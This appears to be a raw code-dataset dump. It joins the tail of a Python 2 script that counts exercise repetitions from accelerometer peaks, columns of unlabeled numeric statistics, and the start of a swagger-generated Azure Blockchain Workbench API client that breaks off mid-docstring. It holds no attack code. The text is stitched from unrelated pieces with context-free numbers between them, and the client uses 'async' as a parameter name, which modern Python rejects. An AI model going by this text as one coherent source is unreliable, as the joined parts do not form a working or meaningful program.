str(len(peak_pos)) print "Number of reps =", message return message def findPeaksBicepsCurl(accXData, accYData, accZData, millis): signal = accXData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(-10, 15)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = str(len(peak_pos)) print "Number of reps =", message return message def findPeaksSkullcrusher(accXData, accYData, accZData, millis): signal = accZData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(-10, 15)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = str(len(peak_pos)) print "Number of reps =", message return message def findPeaksSquats(accXData, accYData, accZData, millis): signal = accZData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(0, 15)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data # charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = str(len(peak_pos)-1) print "Number of reps =", message return message def findPeaksAbCrunches(accXData, accYData, accZData, millis): signal = accZData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(0, 15)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = str(len(peak_pos)) print "Number of reps =", message return message def findPeaksLateralRaises(accXData, accYData, accZData, millis): signal = accYData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(-15, 15)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = str(len(peak_pos)) print "Number of reps =", message return message def findPeaksSeatedRows(accXData, accYData, accZData, millis): signal = accXData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(-15, 15)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data # charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = str(len(peak_pos)) print "Number of reps =", message return message def findPeaksTricepsPushdowns(accXData, accYData, accZData, millis): signal = accYData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(-15, 15)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = str(len(peak_pos)) print "Number of reps =", message return message def findPeaksLegExtension(accXData, accYData, accZData, millis): signal = accZData y = np.array(signal) x = np.array(millis) # find peaks peaks = find_peaks(y, height=(-15, 15)) height = peaks[1]['peak_heights'] # list of the heights of the peaks peak_pos = x[peaks[0]] # list of the peak positions # find minima y2 = y * -1 minima = find_peaks(y2, height=2) min_pos = x[minima[0]] # list of the minima positions min_height = y2[minima[0]] # list of the mirrored minima heights real_min_height = min_height * -1 # plot data charts.plotAccData(accXData, accYData, accZData, millis, peak_pos, height, min_pos, real_min_height) # plt.show() message = str(len(peak_pos)) print "Number of reps =", message return message def findPeaks(data): accXEx, accYEx, accZEx, millisEx, typeEx, weight, date, time = db.getTestExData(data) reps = "" if typeEx == "Bench Press": reps = findPeaksBenchPress(accXEx, accYEx, accZEx, millisEx) if typeEx == "Deadlift": reps = findPeaksDeadlift(accXEx, accYEx, accZEx, millisEx) if typeEx == "Biceps Curl": reps = findPeaksBicepsCurl(accXEx, accYEx, accZEx, millisEx) if typeEx == "Skullcrushers": reps = findPeaksSkullcrusher(accXEx, accYEx, accZEx, millisEx) if typeEx == "Squats": reps = findPeaksSquats(accXEx, accYEx, accZEx, millisEx) if typeEx == "Ab Crunches": reps = findPeaksAbCrunches(accXEx, accYEx, accZEx, millisEx) if typeEx == "Lateral Raises": reps = findPeaksLateralRaises(accXEx, accYEx, accZEx, millisEx) if typeEx == "Seated Rows": reps = findPeaksSeatedRows(accXEx, accYEx, accZEx, millisEx) if typeEx == "Triceps Pushdowns": reps = findPeaksTricepsPushdowns(accXEx, accYEx, accZEx, millisEx) if typeEx == "Leg Extension": reps = findPeaksLegExtension(accXEx, accYEx, accZEx, millisEx) return reps, typeEx, weight, date, time def findPeaksTrain(data, typeEx, descId, pos): accXExAr, accYExAr, accZExAr, millisExAr, typeEx = db.getTrainExByDescArray(data, typeEx, descId) accXEx = accXExAr[pos-1][1] accYEx = accYExAr[pos-1][1] accZEx = accZExAr[pos-1][1] millisEx = millisExAr[pos-1][1] message = "" if typeEx == "Bench Press": message = findPeaksBenchPress(accXEx, accYEx, accZEx, millisEx) if typeEx == "Deadlift": message = findPeaksDeadlift(accXEx, accYEx, accZEx, millisEx) if typeEx == "Biceps Curl": message = findPeaksBicepsCurl(accXEx, accYEx, accZEx, millisEx) if typeEx == "Skullcrushers": message = findPeaksSkullcrusher(accXEx, accYEx, accZEx, millisEx) if typeEx == "Squats": message = findPeaksSquats(accXEx, accYEx, accZEx, millisEx) if typeEx == "Ab Crunches": message = findPeaksAbCrunches(accXEx, accYEx, accZEx, millisEx) if typeEx == "Lateral Raises": message = findPeaksLateralRaises(accXEx, accYEx, accZEx, millisEx) if typeEx == "Seated Rows": message = findPeaksSeatedRows(accXEx, accYEx, accZEx, millisEx) if typeEx == "Triceps Pushdowns": message = findPeaksTricepsPushdowns(accXEx, accYEx, accZEx, millisEx) return message
36.954861
106
0.663159
1,427
10,643
4.844429
0.077085
0.032547
0.046868
0.039057
0.870968
0.84088
0.835961
0.832056
0.771879
0.679011
0
0.019056
0.225876
10,643
287
107
37.083624
0.820002
0.193648
0
0.757009
0
0
0.059889
0
0
0
0
0
0
0
null
null
0
0.023364
null
null
0.046729
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
ab7e21b32b23b04eecb62fe47c979402d54ef6c6
70,345
py
Python
blockchain-workbench/rest-api-samples/python/swagger_client/api/applications_api.py
chaosmail/blockchain
c78799d548c0d5deb86e03d16bf919df508d09fd
[ "MIT" ]
738
2018-05-07T15:37:38.000Z
2022-03-30T08:16:04.000Z
blockchain-workbench/rest-api-samples/python/swagger_client/api/applications_api.py
chaosmail/blockchain
c78799d548c0d5deb86e03d16bf919df508d09fd
[ "MIT" ]
156
2018-05-08T14:01:25.000Z
2022-01-31T22:03:32.000Z
blockchain-workbench/rest-api-samples/python/swagger_client/api/applications_api.py
cocoytech/blockchain
4a64a41275cf149c0ad66b7fd9864498ec6a7ed9
[ "MIT" ]
682
2018-05-07T16:45:10.000Z
2022-03-31T16:50:13.000Z
# coding: utf-8 """ Azure Blockchain Workbench REST API The Azure Blockchain Workbench REST API is a Workbench extensibility point, which allows developers to create and manage blockchain applications, manage users and organizations within a consortium, integrate blockchain applications into services and platforms, perform transactions on a blockchain, and retrieve transactional and contract data from a blockchain. # noqa: E501 OpenAPI spec version: v1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from swagger_client.api_client import ApiClient class ApplicationsApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def application_delete(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Deletes the specified blockchain application. This method can only be performed by users who are Workbench administrators. NOTE: Currently not implemented. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.application_delete(application_id, async=True) >>> result = thread.get() :param async bool :param str application_id: The id of the application. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.application_delete_with_http_info(application_id, **kwargs) # noqa: E501 else: (data) = self.application_delete_with_http_info(application_id, **kwargs) # noqa: E501 return data def application_delete_with_http_info(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Deletes the specified blockchain application. This method can only be performed by users who are Workbench administrators. NOTE: Currently not implemented. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.application_delete_with_http_info(application_id, async=True) >>> result = thread.get() :param async bool :param str application_id: The id of the application. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['application_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method application_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `application_delete`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationID'] = params['application_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationID}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def application_disable(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Disables the specified blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.application_disable(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.application_disable_with_http_info(application_id, **kwargs) # noqa: E501 else: (data) = self.application_disable_with_http_info(application_id, **kwargs) # noqa: E501 return data def application_disable_with_http_info(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Disables the specified blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.application_disable_with_http_info(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['application_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method application_disable" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `application_disable`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationID}/disable', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def application_enable(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Enables the specified blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.application_enable(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.application_enable_with_http_info(application_id, **kwargs) # noqa: E501 else: (data) = self.application_enable_with_http_info(application_id, **kwargs) # noqa: E501 return data def application_enable_with_http_info(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Enables the specified blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.application_enable_with_http_info(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['application_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method application_enable" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `application_enable`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationID}/enable', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def application_get(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Gets the blockchain application matching a specific application ID. Users who are Workbench administrators get the blockchain application. Non-Workbench administrators get the blockchain application if they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.application_get(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application. (required) :return: Application If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.application_get_with_http_info(application_id, **kwargs) # noqa: E501 else: (data) = self.application_get_with_http_info(application_id, **kwargs) # noqa: E501 return data def application_get_with_http_info(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 Gets the blockchain application matching a specific application ID. Users who are Workbench administrators get the blockchain application. Non-Workbench administrators get the blockchain application if they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.application_get_with_http_info(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application. (required) :return: Application If the method is called asynchronously, returns the request thread. """ all_params = ['application_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method application_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `application_get`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Application', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def applications_get(self, **kwargs): # noqa: E501 """ # noqa: E501 Lists all blockchain applications to which a user has access in Workbench. Users who are Workbench administrators get all blockchain applications. Non-Workbench administrators get all blockchain applications for which they have at least one associated application role or an associated smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.applications_get(async=True) >>> result = thread.get() :param async bool :param int top: The maximum number of entries to return in the result set. :param int skip: The number of entries to skip in the result set. :param bool enabled: A Boolean for whether to filter the result set to only enabled applications. :return: ApplicationList If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.applications_get_with_http_info(**kwargs) # noqa: E501 else: (data) = self.applications_get_with_http_info(**kwargs) # noqa: E501 return data def applications_get_with_http_info(self, **kwargs): # noqa: E501 """ # noqa: E501 Lists all blockchain applications to which a user has access in Workbench. Users who are Workbench administrators get all blockchain applications. Non-Workbench administrators get all blockchain applications for which they have at least one associated application role or an associated smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.applications_get_with_http_info(async=True) >>> result = thread.get() :param async bool :param int top: The maximum number of entries to return in the result set. :param int skip: The number of entries to skip in the result set. :param bool enabled: A Boolean for whether to filter the result set to only enabled applications. :return: ApplicationList If the method is called asynchronously, returns the request thread. """ all_params = ['top', 'skip', 'enabled'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method applications_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'top' in params: query_params.append(('top', params['top'])) # noqa: E501 if 'skip' in params: query_params.append(('skip', params['skip'])) # noqa: E501 if 'enabled' in params: query_params.append(('enabled', params['enabled'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApplicationList', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def applications_post(self, file, **kwargs): # noqa: E501 """ # noqa: E501 Creates a new blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.applications_post(file, async=True) >>> result = thread.get() :param async bool :param file file: Upload File (required) :return: int If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.applications_post_with_http_info(file, **kwargs) # noqa: E501 else: (data) = self.applications_post_with_http_info(file, **kwargs) # noqa: E501 return data def applications_post_with_http_info(self, file, **kwargs): # noqa: E501 """ # noqa: E501 Creates a new blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.applications_post_with_http_info(file, async=True) >>> result = thread.get() :param async bool :param file file: Upload File (required) :return: int If the method is called asynchronously, returns the request thread. """ all_params = ['file'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method applications_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'file' is set if ('file' not in params or params['file'] is None): raise ValueError("Missing the required parameter `file` when calling `applications_post`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} if 'file' in params: local_var_files['file'] = params['file'] # noqa: E501 body_params = None # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['multipart/form-data']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='int', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def contract_code_delete(self, contract_code_id, **kwargs): # noqa: E501 """ # noqa: E501 Deletes the specified blockchain smart contract implementation of a specific blockchain application. This method can only be performed by users who are Workbench administrators. NOTE: not currently implemented # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.contract_code_delete(contract_code_id, async=True) >>> result = thread.get() :param async bool :param int contract_code_id: The id of the contract code (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.contract_code_delete_with_http_info(contract_code_id, **kwargs) # noqa: E501 else: (data) = self.contract_code_delete_with_http_info(contract_code_id, **kwargs) # noqa: E501 return data def contract_code_delete_with_http_info(self, contract_code_id, **kwargs): # noqa: E501 """ # noqa: E501 Deletes the specified blockchain smart contract implementation of a specific blockchain application. This method can only be performed by users who are Workbench administrators. NOTE: not currently implemented # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.contract_code_delete_with_http_info(contract_code_id, async=True) >>> result = thread.get() :param async bool :param int contract_code_id: The id of the contract code (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['contract_code_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method contract_code_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'contract_code_id' is set if ('contract_code_id' not in params or params['contract_code_id'] is None): raise ValueError("Missing the required parameter `contract_code_id` when calling `contract_code_delete`") # noqa: E501 collection_formats = {} path_params = {} if 'contract_code_id' in params: path_params['contractCodeId'] = params['contract_code_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/contractCode/{contractCodeId}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def contract_code_get(self, contract_code_id, **kwargs): # noqa: E501 """ # noqa: E501 Get the blockchain smart contract implementation matching a specific ledger implementation ID. Users who are Workbench administrators get the specified smart contract implementation. Non-Workbench administrators get the smart contract implementation if they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.contract_code_get(contract_code_id, async=True) >>> result = thread.get() :param async bool :param int contract_code_id: The id of the contract code (required) :return: FileStreamResult If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.contract_code_get_with_http_info(contract_code_id, **kwargs) # noqa: E501 else: (data) = self.contract_code_get_with_http_info(contract_code_id, **kwargs) # noqa: E501 return data def contract_code_get_with_http_info(self, contract_code_id, **kwargs): # noqa: E501 """ # noqa: E501 Get the blockchain smart contract implementation matching a specific ledger implementation ID. Users who are Workbench administrators get the specified smart contract implementation. Non-Workbench administrators get the smart contract implementation if they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.contract_code_get_with_http_info(contract_code_id, async=True) >>> result = thread.get() :param async bool :param int contract_code_id: The id of the contract code (required) :return: FileStreamResult If the method is called asynchronously, returns the request thread. """ all_params = ['contract_code_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method contract_code_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'contract_code_id' is set if ('contract_code_id' not in params or params['contract_code_id'] is None): raise ValueError("Missing the required parameter `contract_code_id` when calling `contract_code_get`") # noqa: E501 collection_formats = {} path_params = {} if 'contract_code_id' in params: path_params['contractCodeId'] = params['contract_code_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/contractCode/{contractCodeId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='FileStreamResult', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def contract_code_post(self, application_id, file, **kwargs): # noqa: E501 """ # noqa: E501 Uploads one or more smart contracts (ex. .sol or .zip), representing the implementation of the specified blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.contract_code_post(application_id, file, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application (required) :param file file: Upload File (required) :param int ledger_id: The index of the ledger :return: int If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.contract_code_post_with_http_info(application_id, file, **kwargs) # noqa: E501 else: (data) = self.contract_code_post_with_http_info(application_id, file, **kwargs) # noqa: E501 return data def contract_code_post_with_http_info(self, application_id, file, **kwargs): # noqa: E501 """ # noqa: E501 Uploads one or more smart contracts (ex. .sol or .zip), representing the implementation of the specified blockchain application. This method can only be performed by users who are Workbench administrators. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.contract_code_post_with_http_info(application_id, file, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application (required) :param file file: Upload File (required) :param int ledger_id: The index of the ledger :return: int If the method is called asynchronously, returns the request thread. """ all_params = ['application_id', 'file', 'ledger_id'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method contract_code_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'application_id' is set if ('application_id' not in params or params['application_id'] is None): raise ValueError("Missing the required parameter `application_id` when calling `contract_code_post`") # noqa: E501 # verify the required parameter 'file' is set if ('file' not in params or params['file'] is None): raise ValueError("Missing the required parameter `file` when calling `contract_code_post`") # noqa: E501 collection_formats = {} path_params = {} if 'application_id' in params: path_params['applicationId'] = params['application_id'] # noqa: E501 query_params = [] if 'ledger_id' in params: query_params.append(('ledgerId', params['ledger_id'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} if 'file' in params: local_var_files['file'] = params['file'] # noqa: E501 body_params = None # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['multipart/form-data']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/v1/applications/{applicationId}/contractCode', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='int', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def contract_codes_get(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 List all blockchain smart contract implementations of the specified blockchain application. Users who are Workbench administrators get all smart contract implementations. Non-Workbench administrators get all smart contract implementations for which they have at least one associated application role or is associated with a smart contract instance role. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.contract_codes_get(application_id, async=True) >>> result = thread.get() :param async bool :param int application_id: The id of the application (required) :param int ledger_id: The index of the chain type :param int top: The maximum number of items to return :param int skip: The number of items to skip before returning :return: ContractCodeList If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.contract_codes_get_with_http_info(application_id, **kwargs) # noqa: E501 else: (data) = self.contract_codes_get_with_http_info(application_id, **kwargs) # noqa: E501 return data def contract_codes_get_with_http_info(self, application_id, **kwargs): # noqa: E501 """ # noqa: E501 List all blockchain smart contract implementations of the specified blockchain application. Users who are Workbench administrators get all smart 